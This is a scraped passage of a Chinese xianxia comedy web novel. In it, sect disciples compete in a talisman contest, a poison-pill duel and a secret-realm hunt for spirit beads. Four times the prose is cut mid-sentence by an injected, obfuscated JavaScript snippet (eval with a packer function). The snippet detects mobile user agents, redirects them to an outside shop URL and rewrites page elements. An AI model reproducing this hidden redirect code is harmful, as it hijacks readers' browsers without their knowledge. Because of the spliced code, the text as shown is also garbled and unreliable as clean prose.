围观的弟子们纷纷破口大笑。天虚仙尊又无奈又好笑地摇摇脑袋,帮着自顾不暇的顾梦真把这艘漏水的飞船收了起来。 “二师兄。”石映心走到狼狈的二师兄边上,好心地说,“船身西面很薄弱哦。” “咳咳……咳咳额……好……”顾梦真摆摆手,“我当时咳咳……觉得哪里不对咳咳……没来得及检查咳咳咳……” 石映心真诚地问:“少做些没用的机关不就有时间了吗?” “咳咳咳!咳咳咳……” 顾梦真想说只是还没找到用处而已,但他师妹已经不留情地走了。 胜负还用说吗,她去找晴雯师姐贺喜了。 午后是曾换月的符修大比。作为慕雲同一符阵法门的小师妹,曾换月虽比她师兄师姐晚来几年,但从师父那得到的“关爱”并不比他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668875|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,只因她日日都被拴在云雨峰画符练阵,毕竟慕雲就是玩符阵的嘛,自然要对她亲手指导。 先前她上学的时候,是个成绩中上的一般好学生,偶尔会好奇那些坐在讲台桌边上的同学心中是什么滋味,又为何敢在老师眼皮子底下做小动作呢? 好了,现在轮到她坐这个超级VIP,超绝1v1的位置了,她顺其自然地体会到了那些同学的蠢蠢欲动……重点不在这里,而是为什么她都穿越了还要背书默写啊?还是这些让人眼前一黑的鬼画符! 她的金手指呢?她的系统呢?她的千年难遇修炼根骨呢? 啥也没有。 嗐,人生何处不痛苦! 好在她还有些原主的记忆……呵,虽然她深刻怀疑原主也是个学渣,留给她的记忆真的太少太无用了!幸好她机智聪明、又接受过国家九年义务和高中三年炼狱的锻炼,画画符阵还是很简单的——虽然出品很不稳定吧。 但,她现在的金丹期就是实力最好的证明。 “换月,你这符形还得多练练啊,”天元仙尊看过符纸后递还给她,摇摇头道,“实在不美观。” 曾换月唯唯诺诺地接下来,心里哭着想字丑这事是她两辈子的缺点了,大概真的没法再改。 “好了,”天元仙尊说,“你们二人去试试符纸的威力如何。” “是。” 和曾换月比符箓的是一位她不认识的师弟,画得一手漂亮的符文,刚刚得到了天元仙尊的赞赏,这会他信心满满地走到场地上,里边摆着两株奄奄一息的草,他们的试题是用“生机符”将草恢复生机。 他将符箓往左边那株草上一贴,念了符决,只见符箓灵光一闪,枯草立即重现生机,枯黄的根部和枝叶眨眼间变了颜色,茁壮地往上生长,由一指高长成一人高,亭亭玉立、枝繁叶茂。 人群鼓起掌来,发出叫好声。 天元仙尊满意地点点头,示意曾换月开始。 见这位师弟表现得好,曾换月压力更大了些,拿着符箓的手擦了擦汗,差点让汗水蹭到符箓。她往站在边上的师姐瞅了眼,石映心朝她挥了挥手;又看向抱着剑站在天元仙尊边上的大师兄,对方朝她点了点头。 好吧,好吧,她根本没必要紧张的,都是上辈子应试教育留下来的后遗症…… 将符箓往枯草上一贴,再念符决,接下来只要静观其变。 她最怕的是符箓无效,好在等了三息之后,枯草总算有了动静,变化和另一株草差不多,变绿之后一边长枝叶一边往上长,看得曾换月双眼越来越亮:太好了,有希望! 她的草长得比另一株高的时候,观众已经鼓起掌来,似乎都觉得胜负已定。但奇怪的是他们鼓掌鼓了一会,这草还是一直在长、一直在长,越长越高、越长越茂盛…… 群众们的脑袋都快要仰不过去了。 天元仙尊不得不说:“那个……差不多了,换月。” 曾换月背对着众人,朝她的草拜拜恳求:“别长了祖宗……别长了草!够了!够了——” 18. 第 18 章 其实到这个时候,大家对情况还是有些迷茫的,心想难道是这位符修的刻意为之、想要炫技一下? 直到那几乎变成苍天大树的小草忽地从伸出一根颇有灵性的枝条,“啪”地抽在了闭眼祈祷的曾换月脸上。 “啊!”曾换月捂着脸惨叫一声,瞪着两眼委屈又震惊。 可不等她反应过来,紧接那枝条就猛地将她缠绕了起来,竟把她高高地举了起来乱晃,她在空中吓得惨叫:“救命啊!师姐、师兄——” 不只是她这般倒霉,边上站得近的无辜群众也被这怪树偷摸地抓了几个,而这些枝条还在源源不断地从树里冒出来,兴奋地去抓更多的人。一时之间,场上尖叫连连、热闹非凡。 石映心已经拔出剑跟着边上的弟子开始砍枝条救人了,见明易往曾换月那边去,便不着急。 明易一剑插入树根之中,剑尖只入了两寸,看来这树确实□□能耐。不过他毫不惊慌,手掐剑诀往顺着剑身一推,一道灵光随之冲入树根之中,树根猛地裂开一道半人高的裂缝来。 根基已破,接下来便很简单了,只见明易将剑往树上一扬,仿佛只是破开了空气,剑便收入了剑鞘之中。须臾之后,树根自下而上兀自断裂开来,“喀拉咔嚓”几声后,“哐哐”地裂成两半,分别倒在了地上,震荡起一片尘土,飞速地开始萎缩。 邪恶的树枝也失去了活性,又粗又绿的枝条变得又脆又枯,支撑不住上头的人,于是弟子们像成熟的果子一般一个个掉了下来。 “啊!”“哎呦——”“我的老腰诶!” 正是丰收的好时候。 没法说胜负的事了,还是先收拾残局吧。 自觉闯了大祸的曾换月找她师姐哭诉,石映心安慰她:“没事的,等三日后我们赢了秘境,师父就不会生气了。” 曾换月听她这话说得非常顺其自然,忧心道:“如果我们赢不了呢?” 石映心想了想:“那我们就逃到山下避避风头。” 曾换月:…… 这一错再错的,她真怕师父和大师兄要气死。 “嗐,我突然觉得输了就输了,也不是大事啦,”她擦擦眼泪道,“不就挨骂受罚嘛,我也习惯了。” 石映心见她这么快就想开了,很欣慰道:“说的也是,你是很熟悉的。” 曾换月:…… 不说这个了,越说越伤心:“师姐,你明日还有最后的大比,你可一定要赢啊。” 石映心说好。 “但你也不要勉强。”曾换月又道,“别的宗门法术如何我们也才接触,若是防不胜防也是正常的。” 石映心说嗯。 曾换月又絮絮叨叨了一会,怕打扰师姐休息、影响明日大比,天未黑透就走了。 前两轮大比相对来说有针对性,比如石映心比剑,前两轮最多对上耍棍的乐鸿,不会碰到炼器的晴雯;但最后一轮则是大乱斗,毕竟你出门在外,总不会碰到一个炼丹的说: “不好意思啊道友,我修剑的,和你打不上。” 然后双方礼貌道别——这属于天方夜谭。 不过对于大部分修士来说,符阵器丹皆属于后方协助人士,战斗力不强这点是大家默认的,所以关于一个丹修和剑修该如何尽量公平公正地进行大比——这对主办方来说是件需要再加斟酌的难题。 “三轮第十一回——归壹派慕雲仙君门下石映心,对药神谷落叶长老门下屠芜!” 屠芜穿得绿油油的,她们的门服是深浅绿色相衬,腰带别有风格,居然是几圈枝条,上头还冒着叶子;头饰也好看,麻花辫伴着藤蔓编了两股放在双肩前,耳朵上别着一朵石映心没见过的小黄花,俏生生的脸上在脸颊两侧涂了石绿。 前天曾换月看到的时候评价道:“像童话里的小精灵!” 石映心不知道童话是什么,师妹解释说跟话本差不多。总之是很好看的。 上台前大师兄和她说:“小心她身上的花草枝条,有毒。” 有毒的话那只看看就好了。 不过这要怎么比呢? “映心道友,”屠芜把手伸到她面前张开,她的手上还带着棕色的有指手套,掌心窝着四个黑乎乎的丸子,一个大概一个指头大小,她朝石映心道,“这四粒药丸药效各异,请择其一吞下,十个数之后便能来打我了。” 要么她先被打倒,要么石映心先被毒晕,规则就是如此简单。 石映心觉得这比拼形式很新鲜,她还从未服过毒呢,正要挑,就听见曾换月在底下大喊:“药神谷的美人!你解药可准备好了?!” 她就一个师姐,可别给毒死了。 屠芜闻言笑得有些开心,朝曾换月道:“放心吧,我可不敢在你们归壹派的地盘里毒死人。再说了,你们归壹派高门大户、人才济济,还怕解不了我的毒?” 那倒也是哈。 石映心见这四个丸子有大有小,便问:“屠芜道友,这些分别是怎样的药效?” 屠芜勾唇一笑:“这怎么能和你说?若是你选了最好忍受的,那我不是吃亏了?” 吃亏? 石映心也朝她笑:“既然你怕吃亏,我便选最毒的一颗,让你输得心服口服好吗?” 屠芜眼睛睁得大大的看着她,一时惊诧地没反应过来:“你、你说认真的?” 石映心:“为何骗你?哪颗是最毒的?” “……最大的那颗。” 石映心便拿起那颗最大的,正要吃的时候忽然想到什么,朝愣愣地看着她的屠芜问:“我看话本里,下毒的毒药或是无色无味,或是玲珑奇巧,叫人不知不觉中吃毒身亡……为何你的毒药大得像泥丸呢?” 屠芜:…… 什么为何?还不是因为她技艺不精吗! “吃吧你,废话真多——” 她伸手一推石映心就在嘴边的手,药丸顺势滑入石映心喉咙中,因为太大了她一时咽不下去,还好明易及时送水过来。 好不容易把药丸吞下去的石映心对屠芜说:“你的药丸确实厉害,不等发挥毒效就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668876|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能先噎死人了。” 屠芜:………… 谷主和师父他们说的没错,归壹派的人果然很讨厌! 石映心吞下了药丸,台下便开始数数了,“十九八七六”,一声比一声兴奋激动。屠芜也好整以暇地看着对手的反应,脸上带着神秘的笑容。 石映心感受着毒药丸在体内的运转,常人是无知无觉的,但她毕竟是修士,能清楚觉得有什么东西在丹田处溜了一圈,慢慢弥散开来,融入经脉之中。她越去注意这变化,耳边群众的叫喊声越变得模糊和遥远,她听见屠芜说: “此毒丹会让人失去她最擅长的功法,修为越高者效果越好;既然你是剑修,轻则忘却剑法,重则连剑都不会使了,哈哈哈哈!” 台下一片躁动: “这太狠了!比剑的人不会剑法怎么比?” “药神谷的毒药果真奸诈!” “别急,若只是忘了几招,对付一个丹修还是绰绰有余……” …… “师姐!师姐加油!!” “师妹最拿手的剑招是什么来着……” “映心怎么了?已经过了十个数。” “师叔,不如我去看看情况?” “你糊涂了?这是毒效在发挥作用,尚在规矩之内。” …… 好吵。好乱。 石映心睁开眼,眼前一片漆黑。黑暗之中,她觉得一切朦胧,脑袋像是被罩进了黑云里,轻飘飘的恍惚。 她看不见了。 一开始是有些茫然恍惚,但她很快回过神来,毕竟都是金丹后期的修士了,对世间万物的感知早已不仅是依靠这双眼睛。思及此,她稳下心神,缓缓闭上双目,脑中撇开那些无关人士的议论纷纷,在纷乱中锁定了屠芜的气息—— 绿油油的草味。 此时不可多虑,石映心提剑而上,速度飞快,两三步已飞到了屠芜面前;后者本在观察她的反应,见她十数过后还一动不动地杵在那,心里还在暗喜她大概是失去了许多剑法——哈哈,不会连挥剑都忘了吧! 等对方都贴脸上来了,她才猛地回过神来,手往腰带边的香囊里一抓就要洒一些毒粉出来,但石映心的速度更快,她并未有太多花里胡哨的动作,只不过是剑直冲她而去,到人面前潇洒一挥,便震荡开一片疾风剑气—— “啊!” 屠芜金粉还没抓到就被剑风给打飞了,在空中飞了一会便砸在了擂台边缘,狼狈地支起身子,摸摸摔疼的腰和臀部,诧异万分地看着站在不远处的剑修。 她、她为什么…… 不等她有更多疑惑,在大伙的叫好声中,石映心飞走来到她面前,并不着急地将木剑指在她两眼前,声音平板道:“你输了。” 屠芜盯着剑尖看看,又把视线挪到她脸上,瞧她面色稳定看着自己(剑尖),毫无中毒的迹象,不得不诧异道:“你、你的毒呢?” 石映心仿佛被提醒了一般,便把剑收起来,伸出手:“解毒丹。” 屠芜:…… 19. 第 19 章 她本还想追问两句,但这时候裁判观台上的陈久宣布胜负已定,要她交出解毒丹。屠芜有些糊里糊涂的不情愿,但她确实是亲眼看着石映心把丹药吃下去,然后在那呆了好一会的……明明是药效发挥时的模样啊。 奇了怪了。 她从储物袋里拿出解毒丹放在石映心手上,看她吃了下去后,拍拍衣上的灰尘站了起来又问:“这位道友,敢问你服了我的毒丹有何作用?” 石映心吃了解毒丹,眼前很快清明起来,她微不可察地松了口气。 师父不想太多人知道她的真实情况,尤其是对这些外人…… 于是她想了下借口:“不告诉你。” 屠芜:………… “你难道不是剑修?”见她转身要走,屠芜大声把人叫住,“我的毒丹不可能出错,除非你最厉害的功法不是剑法!” 她这话一喊,现场莫名安静了。大家也都好奇啊,一个剑修最厉害的不是耍剑那还能是什么? 陈久见状不妙,正想“咳咳”两句帮着糊弄过去,却听石映心道:“是又如何,不是又如何,你总之是输给了我,难道你还不服气?” 屠芜一噎:“我、我也不是不服气……就是好奇罢了!” 石映心还要说什么,陈久连忙接过话头:“这位小友,好奇的话下回再与我们归壹派弟子探讨便是。大比还要继续……” 屠芜恍然回过神,见石映心朝她一拱手便飞了下去,略带遗憾地退场了。 下了场,曾换月和顾梦真就拉着她问被毒到哪了。 石映心说自己眼睛看不见了。 “啊?”曾换月捂嘴吃惊,瞅瞅边上没人,还是小声道,“那那那是照不了了?” 石映心点点头。 “原来如此……”顾梦真若有所思,“眼睛对映心来说便是镜子的镜面,镜面被遮住了,自然就照不见人了……嘶,没想到那药神谷的毒丹有几分邪性的厉害,竟然能对症发挥药效,连镜子都躲不过!” “但是对师姐来说这根本不算什么呀。”曾换月说着,挥了两下手模仿使剑的姿势,“方才仅一招就把那个屠芜击败了!师姐真厉害!” 石映心琢磨道:“其实屠芜想得也好,擂台之上,大家皆要发挥自己的长处取胜,若是剑修没了剑法,丹修练不了丹,体修变得柔弱……便会心下大乱,不知所措,她再随意下点毒来——赢得轻松。” “好在是遇见了你!”顾梦真有些嘚瑟地挑了下眉,“打了她一个措手不及!在场各仙门都知道几年前药神谷和我们可是闹过不愉快的,别看现在两派见面笑呵呵的,私下不知怎么想的……嘿嘿,总之师父她们肯定很高兴!” “还是别高兴得太早了。”慕雲不知何时走来,拍拍石映心的肩膀,“映心今日也是凑巧,不过并未因瞧不见而露拙还是值得表扬的。你们三人明日好好休息,为秘境大比做好准备,明白吗?” “明白了,师父。” 月挂高空。 石映心躺在床上看话本,目光散散,有些心不在焉,盯着面前的书页出神。 忽地她扭过头去,轻轻朝空中一吹,床边柜子上的油灯便熄灭了。还不够暗,哪里发着莹莹的光,原来是她枕边的夜明珠,是小时候过生辰时师父从天虚师公那置换来送给她的。 石映心用被子把夜明珠裹了几裹,遮住了它本就不刺眼的光亮。但还是不够黑,是月光透从窗纸和边缝溜进来了。石映心遮不住月光,只好自己闭上眼睛,犹觉得不对,和吃了毒丹后瞧不见的黑不一样。 那种黑让她有些不安。 石映心躺在床上,看着黑暗中剩下一些轮廓的床顶,心想师父他们说得没错,八大仙门各有千秋,她不能轻敌。 思及此便有些睡不着了,石映心翻身起床换了劲装,拿着剑在院子里练起剑来,要是慕雲等人见此,定要大感欣慰——孩子平时是认真,但放课后也好玩爱悠哉,鲜有这么勤奋的时候啊! 石映心闭着眼睛,练了一个时辰的剑。 多数是专心致志的,间或不得不分神:她相信以她目前的修为和剑法,已是同境界中的佼佼者了,破镜入元婴也不过是个奇珍异宝的事。可为何……她心中始终记挂着那“照”人的本事呢? 这本事与众不同,师父师公她们也常是讳莫如深,不愿她多想。还有换月她们……瞧得出来也是紧张的。 可世间既然有丹药能对她的症状,叫她照不见人;是否也有什么秘籍功法能够因材施教,发挥她“照”人的奇招? 到那时候…… 到那时候……又要如何? 她要如何? 石映心伤脑筋地揉了揉眼睛,收了剑回屋睡觉。 * 秘境大比当日。 众人集合在迷迭峰山脚,各仙门的长老难得都在,乌泱泱的弟子群便安静了许多,少一部分人站在前边,是等会要进秘境的弟子;大部分人集中在后边,纯属看热闹来的。 见时辰差不多了,天元仙尊边上的那个绿油油的老头往前一迈步,朗声公布规则:“此次摘星大会秘境一赛,是由我们药神谷联合众仙门共同缔造,将七年前月牙关上古秘境临近倾塌前的景况通过留影珠全数仿制,包括秘境中的凶兽恶怪、奇珍异宝,以及……造成秘境崩塌的,但尚未明确的变数。” 变……数。 知情者听到这,已经垂眸抿嘴了。 “我们在秘境之中,藏匿了上百颗灵珠,”这么说着,药神谷谷主拿出一粒指甲盖大小的白色珠子示众,“三日后,在秘境之门关上之前,取得灵珠最多的一组取胜;关门后未出秘境者淘汰,在秘境中受伤者可主动认输……” “以上是寻常规则。”药神谷谷主话锋一转,眼神撇过下边一个个人头,语气有些意味深长,“若是有哪位能士查出了七年前秘境崩塌的真相,找出罪魁祸首,便是此次秘境大比当之无愧的魁首!” 众弟子不禁议论纷纷起来。 都听师父讲过故事的师兄妹四人默默地把视线转到了站在天元仙尊身后双眼无神的某仙君身上。 罪魁祸首是谁呢? 好难猜啊。 慕雲闭上眼睛,害怕自己忍不住对绿老头翻白眼。这药神谷究竟是何心思,简直昭然若揭! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668877|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七年前的秘境,他们排挤归壹派没分名额来,秘境无故崩塌之后,不免有人揣测是归壹派动的手脚…… (虽然就是哈。) 但药神谷的人也不敢明面上调查,毕竟无凭无据的,归壹派又是天下第一仙门,他们哪里敢轻易挑衅…… 好巧不巧,此次摘星大会轮到他们药神谷出秘境赛题,七年过去,可不是让他们等着了?竟想趁此机会集合各仙门优秀弟子,在最大嫌疑者的地盘上兴风作浪…… 好啊,好啊!打得一手好算盘! 慕雲气得咬牙切齿,偏偏面上还要忍着不动声色。她虽有错处,但自认错得应当,七年之后也无悔改之意——只是可怜了她的徒弟们——梦真映心换月,千万别让她露馅啊!为师的舒服日子,可要靠你们保全了! 话说她三个亲徒弟也不是傻的,听了这规则之后便晓得此次秘境大比输赢已不是关键了,如何帮她们的好师父隐瞒真相才是重中之重。 顾梦真给两个师妹使眼色,趁着还没进秘境,赶紧传密音:【你俩还记得师父说的故事吗?】 曾换月摇摇头:【好几个月前听的了,那会我开小差呢……】 石映心也茫然地看着师兄。 顾梦真着急:【映心,这可是捡到你时候的事情,你怎么也忘了?】 石映心很无辜:【被师父捡回来的时候我只剩下三魂,一点记忆也没有了;师父之前是和我说过,但那也是好久之前……而且,师兄你不也不记得了吗?】 顾梦真:…… 是,他们仨谁都别怪谁。 不管如何,秘境大比要开始了。 只见药神谷谷主抬起手中的枝条缠绕的法杖,阖眼念叨法咒,片刻之后,山间显出一扇气派宏伟、足有五六人高的石门来,门上布满精美繁复的石雕,落眼一看,皆是花草树木的图样。 秘境之门缓缓向后敞开,里头并非门后的山景,而是一片白雾缭绕,门外之人如何也瞧不清。 “百年以来,众仙门位居八大洲各司其职,遥相呼应,共同肩负着维护世间安定的职责,虽无同门之谊,却有正派交情。故大比虽要紧,也该以和为贵、适可而止,莫要伤了仙门之间的情分。” 各色门服之前,天元仙尊语重心长地和大伙做最后的讲话:“三日之后,秘境之门将关闭时会有三次警醒。如今时辰已到,各位入秘境吧!” 众弟子听训,朝一干长老行礼:“是!” 刹那之间,无数宝剑神器变幻而出,众人或是御剑、御物飞行而入,或是骑着猛兽奔驰,或是干脆转眼就瞧不见人了—— 石映心三人乖乖地在门口和师父、师公,大师兄挥挥手道别,后者等人见秘境已开,也不好嘱咐什么,只好瞧着他们迈着轻快的步子并肩进了秘境之中,面上各有忧思。 等弟子们尽数而入,秘境之门便缓缓合上。 门外依旧聚集着许多人。只见天虚仙尊取出一面掌心大的宝镜朝石门一送,宝镜倏忽变得有石门般宽大,镜面被分成无数场景,皆是秘境中的景色,此时一些情景之中,已经出现了许多身影,比如放大这块看看—— 20. 第 20 章 二师兄:“灵珠会被藏在哪呢?” “定是要打怪爆珠!”小师妹说,“我看我们得去找那些厉害的妖兽,指不定藏在他们的洞穴或是妖丹之中呢?” 三师妹道:“既然是药神谷的考题,想来他们谷里人更有头绪一些。不如我们跟着一队药神谷弟子,螳螂捕蝉,黄雀在后,捷足先登。” 二人:……等等,一开始就这么黑吗?? 石映心见师兄妹面色犹豫,有些奇怪:“……不好吗?” “也、也不是不好,”顾梦真挠挠头,“就是说出去不太好听。” “其实是个好办法啦。”曾换月抓抓脸,“但是药神谷会记我们的仇吧?” 石映心大部分时候是很听师兄妹的意见的,更何况如今秘境才开,也不那么着急,便点点头说:“那就先随处看看吧。” “好啊好啊。” 三人便先在秘境里四处探(瞎)索(逛)。这上古秘境放眼望去郁郁葱葱,有山有水;远处的山脉层峦叠嶂,有些奇形怪状,不像他们归壹派的山脉连绵起伏,有始有终;反倒生硬得很,像是被人从乱七八糟的方向劈开了。 “感觉里面藏了不少妖兽。”曾换月这么觉得。 石映心便说要进山看看。于是他们决定一路走过去,期间要穿过一片森林。这会他们来到一条小河边上,顾梦真说饿了,要抓鱼吃,他拿出一个神似鸟笼的玩意,说是放入水中可以自己捕鱼。 石映心蹲在岸边上,瞧着两条肥鱼从眼前一晃而过,其实只要她用剑戳一戳,很快就能捉到了,但每次她一有动作,二师兄就要说:“映心别急,很快就捉到了!嘘,小声些,别惊扰了鱼群……” 石映心:好吧。 她们等了很是有一会,直到休息偷懒的曾换月也等不下去了,开始质疑她二师兄的宝器,二人你一句擦我一句,火星子刺啦地眼见要吵起来;石映心又是一个不会劝和的,见状不妙,已经坐在地上等着看戏了—— 【场外的慕雲明易二人:扶额无奈,摇首叹息。】 “你就是想玩你这些破玩意!” “什么破玩意?哪里破了!你作甚这么没耐心,很快就抓到了!” “很快是多快?等到太阳下山啊?还不如直接让师姐用剑戳几只上来!” “这……” 就在这时,石映心站起来说:“有动静。” 顾梦真眼前一亮:“笼子抓到鱼了?” 石映心很诡异地停顿了一下,但还是点了点头。顾梦真闻言很兴奋,就要跑去水边看笼子,却被她一把拉住了胳膊:“师兄等等。” “我等不……” “哗!!” 巨大的浪花一冲三丈高,乍一看要将整条小河炸裂开来,天上飞来大片的水花,噼里啪啦打在三人的脸上,洗出三张惊诧的脸——只见那水里跳出了一只奇丑无比、硕大如舟的怪鱼,上下共四排尖牙,裂了整个鱼头那么宽,数不清的鱼目长在利嘴上方,看得叫人恶心。 它在空中猛一摆尾,发出轰天的叫声,掩过了曾换月那声“我靠”;顾梦真这才看见自己的小笼子掐在了它的鱼尾巴上,杀伤力大概就是脚指头上踩了钉子——伤小但极疼,并且还有侮辱性质。 石映心拔出剑来,安抚吓坏了的二人:“没事,不过是只鱼。” 二人:……鱼和鱼之间也是有云泥之别的! 出于师兄妹之间的默契,二师兄和小师妹连忙撤退不给石映心添乱,纷纷在储物空间里翻找有什么能帮上忙的宝器和符箓。 石映心飞到空中和怪鱼打斗,两三下刺瞎了鱼头上一只眼睛,剑尖戳入鱼目之中挑出,正要扔掉时却发现原本拳头大小的鱼目忽地缩成指甲盖大小——是灵珠! 换月果真说的没错,打怪爆珠。 她收了灵珠,正要再去戳鱼眼睛,那鱼也聪明,和她打了一会知道情况不妙,一头扎入了河里,石映心毫不犹豫地跳入水中去追,不过在水里她的动作就缓慢许多,剑法不免凝滞一些,而那鱼怪却是如鱼得水,灵活狡黠地绕着她伺机而动。 而且丑鱼似乎还想把她往下游引去……哪里有什么?似乎是海域。 要不要上去找换月要颗避水丹? 她正要往上游,却听见水面上传来一些奇怪的动静,抬眼一看,水中似有几道细细的雷朝她游来,所经之处的水渐渐地变得有些奇怪,晶莹剔透中带着些白,好像是不动—— 石映心睁着眼睛,瞳孔微颤,听到遥远的地方传来二师兄的声音: “笨蛋!你把映心也冻住了!!” “师姐!!师姐——” 她师姐停在水、不,应该是冰中,和她对面那只近在迟尺的多眼冻鱼面面相觑,目目目目目目目……相对。 好恶心。石映心闭上了眼睛。 与此同时她手中的剑猛地一闪,发出嗡嗡的鸣声,先是剑身周遭的冰块“嘎啦”地破了几道口,紧接着石映心抬眼凝力一挥剑,仿佛一道雷光从河底崩开,“哐”地破开了一河厚实的冰层——连带着那只丑不拉几的怪鱼也被她一剑劈成两半。 河流从此一分为二,从上看像是冰条碎了两半。石映心从断面中飞出,在师兄妹的叫喊声中落了地,第一时间掐了澄净诀将自己弄干爽,但身体里还是冷得厉害,毕竟这也不是普通的冰,是金丹期符箓结的金丹期的冰。 二人着急地簇拥着她嘘寒问暖。 石映心想说自己没事,但一开口就是:“哈秋!” 曾换月见此更加愧疚,抱着她哭了一会说要用体温给她取暖。 顾梦真骂她有疾于首。 最后还是顾梦真翻了一个木桶模样的宝器出来,又丢了曾换月的火符进去,里头便燃起熊熊火焰来,石映心在边上烤了火,感觉五脏六腑的冰慢慢地融化,确实舒服熨贴了许多。 “哈秋!” 她揉了揉鼻子,坐在木桶边休息,看师兄师妹捞鱼。他们把两块冻鱼捞上来,夸她劈得很对称,左右两块鱼头上的鱼目数量都是一样的。用火符将鱼身上的冰融化之后,一颗颗地把鱼目挖出来,看到鱼目变成了灵珠,就高兴地手舞足蹈。 最后一共收集了二十四颗灵珠。 此时距离秘境开启刚过一个半时辰。三人围坐在解冻了一半的河边上,木桶的燃燃火焰上摆着三条还没烤熟的河鱼,边上有一摊融入草地的暗色血迹,尸体因为有碍观瞻已经被扔回了河里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668878|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾梦真算了算:“药神谷说有上百颗灵珠,就是不过千颗,那暂定一千颗,我们一共有三十二组,均分下来一组三十一颗……嘿,杀条鱼我们就将近完成了最低目标!” 石映心对这些算数很没数:“哦……师兄,那我们要多少颗灵珠才能赢?” 顾梦真梦想宏大:“若是能得到五百颗我们定能赢!” 曾换月撇嘴:“你说得简单,五百颗是那么容易得的吗?” 顾梦真朝石映心一抬眉:“有映心在,哪里不容易?” 曾换月:“那师……咳,那要是有人找出了七年前秘境坍塌的真相呢?” “真会有人刻意去找吗?”顾梦真有些不以为意,“秘境这么大,危险重重,七年前那几位大能都没能探源溯流,我们这些小弟子何必要自讨麻烦,不如抓紧时间多收集些灵珠,就算得不到魁首也不要太丢脸……” “可是……” “鱼熟了。”一直盯着烤鱼的石映心把三条鱼从火上拿下来,分给二人,“二师兄,换月,趁热吃。” 顾梦真谢过师妹,接过鱼趁热吃,然后被烫到了嘴皮子,呼呼地在边上吹气。曾换月在边上哈哈大笑。 石映心举着烤鱼糖葫芦,奇怪地问:“为什么会被烫到还要趁热吃呢?” “这里的热应是温热的意思。”曾换月笑意未消地解释道,“师姐,你常常只理解字面意思。” “你们同我说我就知道了。”石映心咬了一口鱼,却觉得不太好吃,又把鱼放回了火上继续烤,出神地盯了会越烤越焦的鱼,忽然说,“有人来了。” 曾换月立刻跳起来,用剩了一半烤鱼的木签子朝边上空空荡荡的一片扫去,大声喊道:“谁在那里?还不赶紧出来,偷偷摸摸的想打什么主意!?” 她话音一落,不远处的灌木丛中就有簌簌的动静,没想到这几人非常识趣,毫不抵抗地就出来了,藏蓝色的衣袍,是天机阁的弟子,二女一男。 “女侠别气!”为首的那个男弟子远远地朝她们拱手,“我们才路过,没想打什么主意……” 他话音未落,后头一个女弟子就朗声道:“几位道友,我们是天机阁的弟子,有缘在此遇见,不知可否结个盟,秘境中危险重重,人多力量大,我们一道走如何?” 曾换月轻笑一声道:“我看你们是想蹭我师姐的剑法!” “非也。”第二个女弟子走上前来,她手中拿着一个巴掌大的罗盘,上头的指针是一只蜥蜴的骨骼,头部正稳稳地指着归壹派三人,“是卦象指引我们来的。” 顾梦真听到这也是无语:“你们三人三个说法,耍我们玩呢?” 那三人面面相觑一会,还是那个拿着罗盘的女弟子说:“实不相瞒,我们三人并非武艺超群,可也不是等闲之辈,天机阁的阵法和卜术相信三位也有所耳闻,不过是在秘境中略显劣势罢了。同我们合作,你们不会吃亏。” 顾梦真问:“这里有这么多仙门弟子,为什么是我们?” “是罗盘卦象的指引。” 曾换月好奇:“你们起的什么卦?” “起念是……”罗盘女弟子微微一笑,“找到此次秘境大比的魁首。” 21. 第 21 章 人家都这么说了,就算心里不大相信,但难免嘚瑟起来。 便让三人过来往地上坐坐,互通身份,好好详谈一下卦象。 罗盘女弟子名叫姬滢,另一位女弟子是她同胞姐姐姬漓,男弟子是她们的同门师兄,周赫。 曾换月问她们卦象保真吗,姬漓说包的,她妹妹近日请了月神保佑,不可能出错。 还月神保佑…… 顾梦真抓耳挠腮地不知道怎么说,怕这些是她们天机阁的某种神秘仪式,不可与外人道也……主要是如果她们真说了,他该表现出信还是不信呢? 一直没怎么说话的石映心这时候问:“月神是什么模样?” 姬滢说:“我也不曾见过。” “你怎么知道她在保佑你呢?” 姬滢笑道:“你若是我们天机阁的人,也会知道。” 